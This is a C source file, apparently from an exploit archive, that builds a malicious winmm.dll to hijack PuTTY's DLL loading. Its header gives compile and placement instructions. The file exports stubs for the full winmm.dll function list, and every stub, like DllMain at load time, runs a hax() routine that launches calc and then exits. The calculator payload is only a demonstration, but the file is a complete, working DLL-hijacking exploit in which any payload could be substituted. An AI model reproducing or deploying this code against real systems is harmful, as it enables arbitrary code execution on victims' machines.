/* Exploit Title: PuTTY DLL Hijacking Exploit (winmm.dll) Date: August 25, 2010 Author: storm (storm@gonullyourself.org) Version: 0.60 Tested on: Windows Vista SP2 http://www.gonullyourself.org/ gcc -shared -o winmm.dll PuTTY-DLL.c -DWIN32_LEAN_AND_MEAN PuTTY is a standalone program, so just plop the .dll in whatever directory the binary is in. */ #include #define DllExport __declspec (dllexport) DllExport void aux32Message() { hax(); } DllExport void auxGetDevCapsA() { hax(); } DllExport void auxGetDevCapsW() { hax(); } DllExport void auxGetNumDevs() { hax(); } DllExport void auxGetVolume() { hax(); } DllExport void auxOutMessage() { hax(); } DllExport void auxSetVolume() { hax(); } DllExport void CloseDriver() { hax(); } DllExport void DefDriverProc() { hax(); } DllExport void DriverCallback() { hax(); } DllExport void DrvGetModuleHandle() { hax(); } DllExport void GetDriverModuleHandle() { hax(); } DllExport void joy32Message() { hax(); } DllExport void joyConfigChanged() { hax(); } DllExport void joyGetDevCapsA() { hax(); } DllExport void joyGetDevCapsW() { hax(); } DllExport void joyGetNumDevs() { hax(); } DllExport void joyGetPos() { hax(); } DllExport void joyGetPosEx() { hax(); } DllExport void joyGetThreshold() { hax(); } DllExport void joyReleaseCapture() { hax(); } DllExport void joySetCapture() { hax(); } DllExport void joySetThreshold() { hax(); } DllExport void mci32Message() { hax(); } DllExport void mciDriverNotify() { hax(); } DllExport void mciDriverYield() { hax(); } DllExport void mciExecute() { hax(); } DllExport void mciFreeCommandResource() { hax(); } DllExport void mciGetCreatorTask() { hax(); } DllExport void mciGetDeviceIDA() { hax(); } DllExport void mciGetDeviceIDFromElementIDA() { hax(); } DllExport void mciGetDeviceIDFromElementIDW() { hax(); } DllExport void mciGetDeviceIDW() { hax(); } DllExport void mciGetDriverData() { hax(); } DllExport void mciGetErrorStringA() { hax(); } DllExport void mciGetErrorStringW() { hax(); } DllExport void mciGetYieldProc() { hax(); } DllExport void mciLoadCommandResource() { hax(); } DllExport void mciSendCommandA() { hax(); } DllExport void mciSendCommandW() { hax(); } DllExport void mciSendStringA() { hax(); } DllExport void mciSendStringW() { hax(); } DllExport void mciSetDriverData() { hax(); } DllExport void mciSetYieldProc() { hax(); } DllExport void mid32Message() { hax(); } DllExport void midiConnect() { hax(); } DllExport void midiDisconnect() { hax(); } DllExport void midiInAddBuffer() { hax(); } DllExport void midiInClose() { hax(); } DllExport void midiInGetDevCapsA() { hax(); } DllExport void midiInGetDevCapsW() { hax(); } DllExport void midiInGetErrorTextA() { hax(); } DllExport void midiInGetErrorTextW() { hax(); } DllExport void midiInGetID() { hax(); } DllExport void midiInGetNumDevs() { hax(); } DllExport void midiInMessage() { hax(); } DllExport void midiInOpen() { hax(); } DllExport void midiInPrepareHeader() { hax(); } DllExport void midiInReset() { hax(); } DllExport void midiInStart() { hax(); } DllExport void midiInStop() { hax(); } DllExport void midiInUnprepareHeader() { hax(); } DllExport void midiOutCacheDrumPatches() { hax(); } DllExport void midiOutCachePatches() { hax(); } DllExport void midiOutClose() { hax(); } DllExport void midiOutGetDevCapsA() { hax(); } DllExport void midiOutGetDevCapsW() { hax(); } DllExport void midiOutGetErrorTextA() { hax(); } DllExport void midiOutGetErrorTextW() { hax(); } DllExport void midiOutGetID() { hax(); } DllExport void midiOutGetNumDevs() { hax(); } DllExport void midiOutGetVolume() { hax(); } DllExport void midiOutLongMsg() { hax(); } DllExport void midiOutMessage() { hax(); } DllExport void midiOutOpen() { hax(); } DllExport void midiOutPrepareHeader() { hax(); } DllExport void midiOutReset() { hax(); } DllExport void midiOutSetVolume() { hax(); } DllExport void midiOutShortMsg() { hax(); } DllExport void midiOutUnprepareHeader() { hax(); } DllExport void midiStreamClose() { hax(); } DllExport void midiStreamOpen() { hax(); } DllExport void midiStreamOut() { hax(); } DllExport void midiStreamPause() { hax(); } DllExport void midiStreamPosition() { hax(); } DllExport void midiStreamProperty() { hax(); } DllExport void midiStreamRestart() { hax(); } DllExport void midiStreamStop() { hax(); } DllExport void mixerClose() { hax(); } DllExport void mixerGetControlDetailsA() { hax(); } DllExport void mixerGetControlDetailsW() { hax(); } DllExport void mixerGetDevCapsA() { hax(); } DllExport void mixerGetDevCapsW() { hax(); } DllExport void mixerGetID() { hax(); } DllExport void mixerGetLineControlsA() { hax(); } DllExport void mixerGetLineControlsW() { hax(); } DllExport void mixerGetLineInfoA() { hax(); } DllExport void mixerGetLineInfoW() { hax(); } DllExport void mixerGetNumDevs() { hax(); } DllExport void mixerMessage() { hax(); } DllExport void mixerOpen() { hax(); } DllExport void mixerSetControlDetails() { hax(); } DllExport void mmDrvInstall() { hax(); } DllExport void mmGetCurrentTask() { hax(); } DllExport void mmioAdvance() { hax(); } DllExport void mmioAscend() { hax(); } DllExport void mmioClose() { hax(); } DllExport void mmioCreateChunk() { hax(); } DllExport void mmioDescend() { hax(); } DllExport void mmioFlush() { hax(); } DllExport void mmioGetInfo() { hax(); } DllExport void mmioInstallIOProcA() { hax(); } DllExport void mmioInstallIOProcW() { hax(); } DllExport void mmioOpenA() { hax(); } DllExport void mmioOpenW() { hax(); } DllExport void mmioRead() { hax(); } DllExport void mmioRenameA() { hax(); } DllExport void mmioRenameW() { hax(); } DllExport void mmioSeek() { hax(); } DllExport void mmioSendMessage() { hax(); } DllExport void mmioSetBuffer() { hax(); } DllExport void mmioSetInfo() { hax(); } DllExport void mmioStringToFOURCCA() { hax(); } DllExport void mmioStringToFOURCCW() { hax(); } DllExport void mmioWrite() { hax(); } DllExport void mmsystemGetVersion() { hax(); } DllExport void mmTaskBlock() { hax(); } DllExport void mmTaskCreate() { hax(); } DllExport void mmTaskSignal() { hax(); } DllExport void mmTaskYield() { hax(); } DllExport void mod32Message() { hax(); } DllExport void mxd32Message() { hax(); } DllExport void NotifyCallbackData() { hax(); } DllExport void OpenDriver() { hax(); } DllExport void PlaySound() { hax(); } DllExport void PlaySoundA() { hax(); } DllExport void PlaySoundW() { hax(); } DllExport void SendDriverMessage() { hax(); } DllExport void sndPlaySoundA() { hax(); } DllExport void sndPlaySoundW() { hax(); } DllExport void tid32Message() { hax(); } DllExport void timeBeginPeriod() { hax(); } DllExport void timeEndPeriod() { hax(); } DllExport void timeGetDevCaps() { hax(); } DllExport void timeGetSystemTime() { hax(); } DllExport void timeGetTime() { hax(); } DllExport void timeKillEvent() { hax(); } DllExport void timeSetEvent() { hax(); } DllExport void waveInAddBuffer() { hax(); } DllExport void waveInClose() { hax(); } DllExport void waveInGetDevCapsA() { hax(); } DllExport void waveInGetDevCapsW() { hax(); } DllExport void waveInGetErrorTextA() { hax(); } DllExport void waveInGetErrorTextW() { hax(); } DllExport void waveInGetID() { hax(); } DllExport void waveInGetNumDevs() { hax(); } DllExport void waveInGetPosition() { hax(); } DllExport void waveInMessage() { hax(); } DllExport void waveInOpen() { hax(); } DllExport void waveInPrepareHeader() { hax(); } DllExport void waveInReset() { hax(); } DllExport void waveInStart() { hax(); } DllExport void waveInStop() { hax(); } DllExport void waveInUnprepareHeader() { hax(); } DllExport void waveOutBreakLoop() { hax(); } DllExport void waveOutClose() { hax(); } DllExport void waveOutGetDevCapsA() { hax(); } DllExport void waveOutGetDevCapsW() { hax(); } DllExport void waveOutGetErrorTextA() { hax(); } DllExport void waveOutGetErrorTextW() { hax(); } DllExport void waveOutGetID() { hax(); } DllExport void waveOutGetNumDevs() { hax(); } DllExport void waveOutGetPitch() { hax(); } DllExport void waveOutGetPlaybackRate() { hax(); } DllExport void waveOutGetPosition() { hax(); } DllExport void waveOutGetVolume() { hax(); } DllExport void waveOutMessage() { hax(); } DllExport void waveOutOpen() { hax(); } DllExport void waveOutPause() { hax(); } DllExport void waveOutPrepareHeader() { hax(); } DllExport void waveOutReset() { hax(); } DllExport void waveOutRestart() { hax(); } DllExport void waveOutSetPitch() { hax(); } DllExport void waveOutSetPlaybackRate() { hax(); } DllExport void waveOutSetVolume() { hax(); } DllExport void waveOutUnprepareHeader() { hax(); } DllExport void waveOutWrite() { hax(); } DllExport void wid32Message() { hax(); } DllExport void wod32Message() { hax(); } DllExport void WOW32DriverCallback() { hax(); } DllExport void WOW32ResolveMultiMediaHandle() { hax(); } DllExport void WOWAppExit() { hax(); } int hax() { WinExec("calc", 0); exit(0); return 0; } BOOL WINAPI DllMain(HINSTANCE hinstDLL,DWORD fdwReason, LPVOID lpvReserved) { hax(); return 0; }